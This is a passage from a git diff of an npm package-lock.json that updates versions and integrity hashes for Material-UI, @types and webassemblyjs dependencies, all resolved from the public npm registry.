"sha512-o/41ot5JJiUsIETME9wVLAJrmIWL3j0R0Bj2kCOLbSfqEkKf0fmaPt+5vtblUh5eXr2S+J/8J3DaCb10+CzPGA==", "requires": { "@babel/runtime": "^7.4.4", "@emotion/hash": "^0.8.0", "@material-ui/types": "5.1.0", - "@material-ui/utils": "^4.11.2", + "@material-ui/utils": "^4.11.3", "clsx": "^1.0.4", "csstype": "^2.5.2", "hoist-non-react-statics": "^3.3.2", @@ -2698,12 +18061,12 @@ } }, "@material-ui/system": { - "version": "4.12.1", - "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.1.tgz", - "integrity": "sha512-lUdzs4q9kEXZGhbN7BptyiS1rLNHe6kG9o8Y307HCvF4sQxbCgpL2qi+gUk+yI8a2DNk48gISEQxoxpgph0xIw==", + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.2.tgz", + "integrity": "sha512-6CSKu2MtmiJgcCGf6nBQpM8fLkuB9F55EKfbdTC80NND5wpTmKzwdhLYLH3zL4cLlK0gVaaltW7/wMuyTnN0Lw==", "requires": { "@babel/runtime": "^7.4.4", - "@material-ui/utils": "^4.11.2", + "@material-ui/utils": "^4.11.3", "csstype": "^2.5.2", "prop-types": "^15.7.2" } @@ -2711,12 +18074,13 @@ "@material-ui/types": { "version": "5.1.0", "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", - "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==" + "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==", + "requires": {} }, "@material-ui/utils": { - "version": "4.11.2", - "resolved": "https://registry.npmjs.org/@material-ui/utils/-/utils-4.11.2.tgz", - "integrity": "sha512-Uul8w38u+PICe2Fg2pDKCaIG7kOyhowZ9vjiC1FsVwPABTW8vPPKfF6OvxRq3IiBaI1faOJmgdvMG7rMJARBhA==", + "version": "4.11.3", + "resolved": "https://registry.npmjs.org/@material-ui/utils/-/utils-4.11.3.tgz", + "integrity": "sha512-ZuQPV4rBK/V1j2dIkSSEcH5uT6AaHuKWFfotADHsC0wVL1NLd2WkFCm4ZZbX33iO4ydl6V0GPngKm8HZQ2oujg==", "requires": { "@babel/runtime": "^7.4.4", "prop-types": "^15.7.2", @@ -2757,14 +18121,14 @@ } }, "@popperjs/core": { - "version": "2.10.2", - "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.10.2.tgz", - "integrity": "sha512-IXf3XA7+XyN7CP9gGh/XB0UxVMlvARGEgGXLubFICsUMGz6Q+DU+i4gGlpOxTjKvXjkJDJC8YdqdKkDj9qZHEQ==" + "version": "2.11.4", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.11.4.tgz", + "integrity": "sha512-q/ytXxO5NKvyT37pmisQAItCFqA7FD/vNb8dgaJy3/630Fsc+Mz9/9f2SziBoIZ30TJooXyTwZmhi1zjXmObYg==" }, "@react-dnd/asap": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@react-dnd/asap/-/asap-4.0.0.tgz", - "integrity": "sha512-0XhqJSc6pPoNnf8DhdsPHtUhRzZALVzYMTzRwV4VI6DJNJ/5xxfL9OQUwb8IH5/2x7lSf7nAZrnzUD+16VyOVQ==" + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@react-dnd/asap/-/asap-4.0.1.tgz", + "integrity": "sha512-kLy0PJDDwvwwTXxqTFNAAllPHD73AycE9ypWeln/IguoGBEbvFcPDbCV03G52bEcC5E+YgupBE0VzHGdC8SIXg==" }, "@react-dnd/invariant": { "version": "2.0.0", @@ -2779,7 +18143,8 @@ "@restart/context": { "version": "2.1.4", "resolved": "https://registry.npmjs.org/@restart/context/-/context-2.1.4.tgz", - "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==" + "integrity": "sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==", + "requires": {} }, "@restart/hooks": { "version": "0.3.27", @@ -2808,42 +18173,100 @@ "unist-util-find-all-after": "^3.0.2" } }, - "@types/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@types/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==", - "dev": true + "@types/body-parser": { + "version": "1.19.2", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.2.tgz", + "integrity": "sha512-ALYone6pm6QmwZoAgeyNksccT9Q4AWZQ6PvfwR37GT6r6FWUPguq6sUmNGSMV2Wr761oQoBxwGGa6DR5o1DC9g==", + "dev": true, + "requires": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "@types/bonjour": { + "version": "3.5.10", + "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.10.tgz", + "integrity": "sha512-p7ienRMiS41Nu2/igbJxxLDWrSZ0WxM8UQgCeO9KhoVF7cOVFkrKsiDr1EsJIla8vV3oEEjGcz11jc5yimhzZw==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/connect": { + "version": "3.4.35", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.35.tgz", + "integrity": "sha512-cdeYyv4KWoEgpBISTxWvqYsVy444DOqehiF3fM3ne10AmJ62RSyNkUnxMJXHQWRQQX2eR94m5y1IZyDwBjV9FQ==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/connect-history-api-fallback": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.3.5.tgz", + "integrity": "sha512-h8QJa8xSb1WD4fpKBDcATDNGXghFj6/3GRWG6dhmRcu0RX1Ubasur2Uvx5aeEwlf0MwblEC2bMzzMQntxnw/Cw==", + "dev": true, + "requires": { + "@types/express-serve-static-core": "*", + "@types/node": "*" + } }, "@types/eslint": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.28.0.tgz", - "integrity": "sha512-07XlgzX0YJUn4iG1ocY4IX9DzKSmMGUs6ESKlxWhZRaa0fatIWaHWUVapcuGa8r5HFnTqzj+4OCjd5f7EZ/i/A==", - "dev": true, + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.1.tgz", + "integrity": "sha512-GE44+DNEyxxh2Kc6ro/VkIj+9ma0pO0bwv9+uHSyBrikYOHr8zYcdPvnBOp1aw8s+CjRvuSx7CyWqRrNFQ59mA==", "requires": { "@types/estree": "*", "@types/json-schema": "*" } }, "@types/eslint-scope": { - "version": "3.7.1", - "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.1.tgz", - "integrity": "sha512-SCFeogqiptms4Fg29WpOTk5nHIzfpKCemSN63ksBQYKTcXoJEmJagV+DhVmbapZzY4/5YaOV1nZwrsU79fFm1g==", - "dev": true, + "version": "3.7.3", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.3.tgz", + "integrity": "sha512-PB3ldyrcnAicT35TWPs5IcwKD8S333HMaa2VVv4+wdvebJkjWuW/xESoB8IwRcog8HYVYamb1g/R31Qv5Bx03g==", "requires": { "@types/eslint": "*", "@types/estree": "*" } }, "@types/estree": { - "version": "0.0.50", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.50.tgz", - "integrity": "sha512-C6N5s2ZFtuZRj54k2/zyRhNDjJwwcViAM3Nbm8zjBpbqAdZ00mr0CFxvSKeO8Y/e03WVFLpQMdHYVfUd6SB+Hw==", - "dev": true + "version": "0.0.51", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.51.tgz", + "integrity": "sha512-CuPgU6f3eT/XgKKPqKd/gLZV1Xmvf1a2R5POBOGQa6uv82xpls89HU5zKeVoyR8XzHd1RGNOlQlvUe3CFkjWNQ==" + }, + "@types/express": { + "version": "4.17.13", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.13.tgz", + "integrity": "sha512-6bSZTPaTIACxn48l50SR+axgrqm6qXFIxrdAKaG6PaJk3+zuUr35hBlgT7vOmJcum+OEaIBLtHV/qloEAFITeA==", + "dev": true, + "requires": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.18", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "@types/express-serve-static-core": { + "version": "4.17.28", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.28.tgz", + "integrity": "sha512-P1BJAEAW3E2DJUlkgq4tOL3RyMunoWXqbSCygWo5ZIWTjUgN1YnaXWW4VWl/oc8vs/XoYibEGBKP0uZyF4AHig==", + "dev": true, + "requires": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*" + } + }, + "@types/hammerjs": { + "version": "2.0.41", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.41.tgz", + "integrity": "sha512-ewXv/ceBaJprikMcxCmWU1FKyMAQ2X7a9Gtmzw8fcg2kIePI1crERDM818W+XYrxqdBBOdlf2rm137bU+BltCA==", + "peer": true }, "@types/history": { - "version": "4.7.9", - "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", - "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ==" + "version": "4.7.11", + "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.11.tgz", + "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==" }, "@types/hoist-non-react-statics": { "version": "3.3.1", @@ -2855,15 +18278,15 @@ } }, "@types/html-minifier-terser": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-5.1.2.tgz", - "integrity": "sha512-h4lTMgMJctJybDp8CQrxTUiiYmedihHWkjnF/8Pxseu2S6Nlfcy8kwboQ8yejh456rP2yWoEVm1sS/FVsfM48w==", + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz", + "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==", "dev": true }, "@types/http-proxy": { - "version": "1.17.7", - "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.7.tgz", - "integrity": "sha512-9hdj6iXH64tHSLTY+Vt2eYOGzSogC+JQ2H7bdPWkuh7KXP5qLllWx++t+K9Wk556c3dkDdPws/SpMRi0sdCT1w==", + "version": "1.17.8", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.8.tgz", + "integrity": "sha512-5kPLG5BKpWYkw/LVOGWpiq3nEVqxiN32rTgI53Sk12/xHFQ2rG3ehI9IO+O3W2QoKeyB92dJkoka8SUm6BX1pA==", "dev": true, "requires": { "@types/node": "*" @@ -2875,9 +18298,9 @@ "integrity": "sha512-DxX1V9P8zdJPYQat1gHyY0xj3efl8gnMVjiM9iCY6y27lj+PoQWkgjt8jDqmovPqULkKVpKRg8J36iQiA+EtEg==" }, "@types/istanbul-lib-coverage": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz", - "integrity": "sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", "dev": true }, "@types/istanbul-lib-report": { @@ -2909,9 +18332,9 @@ } }, "@types/json-schema": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.5.tgz", - "integrity": "sha512-7+2BITlgjgDhH0vvwZU/HZJVyk+2XUlvxXe8dFMedNX/aMkaOq++rMAFXc0tM7ij15QaWlbdQASBR9dihi+bDQ==" + "version": "7.0.11", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz", + "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ==" }, "@types/mdast": { "version": "3.0.10", @@ -2922,6 +18345,12 @@ "@types/unist": "*" } }, + "@types/mime": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==", + "dev": true + }, "@types/minimist": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", @@ -2929,10 +18358,9 @@ "dev": true }, "@types/node": { - "version": "14.17.21", - "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.21.tgz", - "integrity": "sha512-zv8ukKci1mrILYiQOwGSV4FpkZhyxQtuFWGya2GujWg+zVAeRQ4qbaMmWp9vb9889CFA8JECH7lkwCL6Ygg8kA==", - "dev": true + "version": "14.18.12", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.12.tgz", + "integrity": "sha512-q4jlIR71hUpWTnGhXWcakgkZeHa3CCjcQcnuzU8M891BAWA2jHiziiWEPEkdS5pFsz7H9HJiy8BrK7tBRNrY7A==" }, "@types/normalize-package-data": { "version": "2.4.1", @@ -2950,10 +18378,22 @@ "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.4.tgz", "integrity": "sha512-rZ5drC/jWjrArrS8BR6SIr4cWpW09RNTYt9AMZo3Jwwif+iacXAqgVjm0B0Bv/S1jhDXKHqRVNCbACkJ89RAnQ==" }, + "@types/qs": { + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==", + "dev": true + }, + "@types/range-parser": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.4.tgz", + "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==", + "dev": true + }, "@types/react": { - "version": "16.14.16", - "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.16.tgz", - "integrity": "sha512-7waDQ0h1TkAk99S04wV0LUiiSXpT02lzrdDF4WZFqn2W0XE5ICXLBMtqXWZ688aX2dJislQ3knmZX/jH53RluQ==", + "version": "16.14.24", + "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.24.tgz", + "integrity": "sha512-e7U2WC8XQP/xfR7bwhOhNFZKPTfW1ph+MiqtudKb8tSV8RyCsovQx2sNVtKoOryjxFKpHPPC/yNiGfdeVM5Gyw==", "requires": { "@types/prop-types": "*", "@types/scheduler": "*", @@ -2961,9 +18401,9 @@ }, "dependencies": { "csstype": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", - "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + "version": "3.0.11", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.11.tgz", + "integrity": "sha512-sa6P2wJ+CAbgyy4KFssIb/JNMLxFvKF1pCYCSXS8ZMuqZnMsrxqI2E5sPyoTpxoPU/gVZMzr2zjOfg8GIZOMsw==" } } }, @@ -2977,36 +18417,36 @@ } }, "@types/react-router": { - "version": "5.1.17", - "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.17.tgz", - "integrity": "sha512-RNSXOyb3VyRs/EOGmjBhhGKTbnN6fHWvy5FNLzWfOWOGjgVUKqJZXfpKzLmgoU8h6Hj8mpALj/mbXQASOb92wQ==", + "version": "5.1.18", + "resolved": "https://registry.npmjs.org/@types/react-router/-/react-router-5.1.18.tgz", + "integrity": "sha512-YYknwy0D0iOwKQgz9v8nOzt2J6l4gouBmDnWqUUznltOTaon+r8US8ky8HvN0tXvc38U9m6z/t2RsVsnd1zM0g==", "requires": { - "@types/history": "*", + "@types/history": "^4.7.11", "@types/react": "*" } }, "@types/react-router-dom": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.1.tgz", - "integrity": "sha512-UvyRy73318QI83haXlaMwmklHHzV9hjl3u71MmM6wYNu0hOVk9NLTa0vGukf8zXUqnwz4O06ig876YSPpeK28A==", + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/@types/react-router-dom/-/react-router-dom-5.3.3.tgz", + "integrity": "sha512-kpqnYK4wcdm5UaWI3fLcELopqLrHgLqNsdpHauzlQktfkHL3npOSwtj1Uz9oKBAzs7lFtVkV8j83voAz2D8fhw==", "requires": { - "@types/history": "*", + "@types/history": "^4.7.11", "@types/react": "*", "@types/react-router": "*" } }, "@types/react-table": { - "version": "6.8.7", - "resolved": "https://registry.npmjs.org/@types/react-table/-/react-table-6.8.7.tgz", - "integrity": "sha512-1U0xl47jk0BzE+HNHgxZYSLvtybSvnlLhOpW9Mfqf9iuRm/fGqgRab3TKivPCY6Tl7WPFM2hWEJ1GnsuSFc9AQ==", + "version": "6.8.9", + "resolved": "https://registry.npmjs.org/@types/react-table/-/react-table-6.8.9.tgz", + "integrity": "sha512-fVQXjy/EYDbgraScgjDONA291McKqGrw0R0NeK639fx2bS4T19TnXMjg3FjOPlkI3qYTQtFTPADlRYysaQIMpA==", "requires": { "@types/react": "*" } }, "@types/react-transition-group": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.3.tgz", - "integrity": "sha512-fUx5muOWSYP8Bw2BUQ9M9RK9+W1XBK/7FLJ8PTQpnpTEkn0ccyMffyEQvan4C3h53gHdx7KE5Qrxi/LnUGQtdg==", + "version": "4.4.4", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.4.tgz", + "integrity": "sha512-7gAPz7anVK5xzbeQW9wFBDg7G++aPLAFY0QaSMOou9rJZpbuI58WAuJrgu+qR92l61grlnCUe7AFX8KGahAgug==", "requires": { "@types/react": "*" } @@ -3022,6 +18462,34 @@ "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==" }, + "@types/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@types/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-d/Hs3nWDxNL2xAczmOVZNj92YZCS6RGxfBPjKzuu/XirCgXdpKEb88dYNbrYGint6IVWLNP+yonwVAuRC0T2Dg==", + "dev": true, + "requires": { + "@types/express": "*" + } + }, + "@types/serve-static": { + "version": "1.13.10", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.13.10.tgz", + "integrity": "sha512-nCkHGI4w7ZgAdNkrEu0bv+4xNV/XDqW+DydknebMOQwkpDGx8G+HTlj7R7ABI8i8nKxVw0wtKPi1D+lPOkh4YQ==", + "dev": true, + "requires": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "@types/sockjs": { + "version": "0.3.33", + "resolved": "https://registry.npmjs.org/@types/sockjs/-/sockjs-0.3.33.tgz", + "integrity": "sha512-f0KEEe05NvUnat+boPTZ0dgaLZ4SfSouXUgv5noUiefG2ajgKjmETo9ZJyuqsl7dfl2aHlLJUiki6B4ZYldiiw==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, "@types/unist": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", @@ -3033,6 +18501,15 @@ "resolved": "https://registry.npmjs.org/@types/warning/-/warning-3.0.0.tgz", "integrity": "sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI=" }, + "@types/ws": { + "version": "8.5.3", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.3.tgz", + "integrity": "sha512-6YOoWjruKj1uLf3INHH7D3qTXwFfEsg1kf3c0uDdSBJwfa/llkwIjrAGV7j7mVgGNbzTQ3HiHKKDXl6bJPD97w==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, "@types/yargs": { "version": "15.0.14", "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.14.tgz", @@ -3043,16 +18520,15 @@ } }, "@types/yargs-parser": { - "version": "20.2.1", - "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-20.2.1.tgz", - "integrity": "sha512-7tFImggNeNBVMsn0vLrpn1H1uPrUBdnARPTpZoitY37ZrdJREzf7I16tMrlK3hen349gr1NYh8CmZQa7CTG6Aw==", + "version": "21.0.0", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.0.tgz", + "integrity": "sha512-iO9ZQHkZxHn4mSakYV0vFHAVDyEOIJQrV2uZ06HxEPcx+mt8swXoZHIbaaJ2crJYFfErySgktuTZ3BeLz+XmFA==", "dev": true }, "@webassemblyjs/ast": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", - "dev": true, "requires": { "@webassemblyjs/helper-numbers": "1.11.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.1" @@ -3061,26 +18537,22 @@ "@webassemblyjs/floating-point-hex-parser": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", - "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==", - "dev": true + "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==" }, "@webassemblyjs/helper-api-error": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", - "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==", - "dev": true + "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==" }, "@webassemblyjs/helper-buffer": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", - "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==", - "dev": true + "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==" }, "@webassemblyjs/helper-numbers": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", - "dev": true, "requires": { "@webassemblyjs/floating-point-hex-parser": "1.11.1", "@webassemblyjs/helper-api-error": "1.11.1", @@ -3090,14 +18562,12 @@ "@webassemblyjs/helper-wasm-bytecode": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", - "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==", - "dev": true + "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==" }, "@webassemblyjs/helper-wasm-section": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-buffer": "1.11.1", @@ -3109,7 +18579,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", - "dev": true, "requires": { "@xtuc/ieee754": "^1.2.0" } @@ -3118,7 +18587,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", - "dev": true, "requires": { "@xtuc/long": "4.2.2" } @@ -3126,14 +18594,12 @@ "@webassemblyjs/utf8": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", - "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==", - "dev": true + "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==" }, "@webassemblyjs/wasm-edit": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-buffer": "1.11.1", @@ -3149,7 +18615,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.1", @@ -3162,7 +18627,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-buffer": "1.11.1", @@ -3174,7 +18638,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-api-error": "1.11.1", @@ -3188,44 +18651,43 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", - "dev": true, "requires": { "@webassemblyjs/ast": 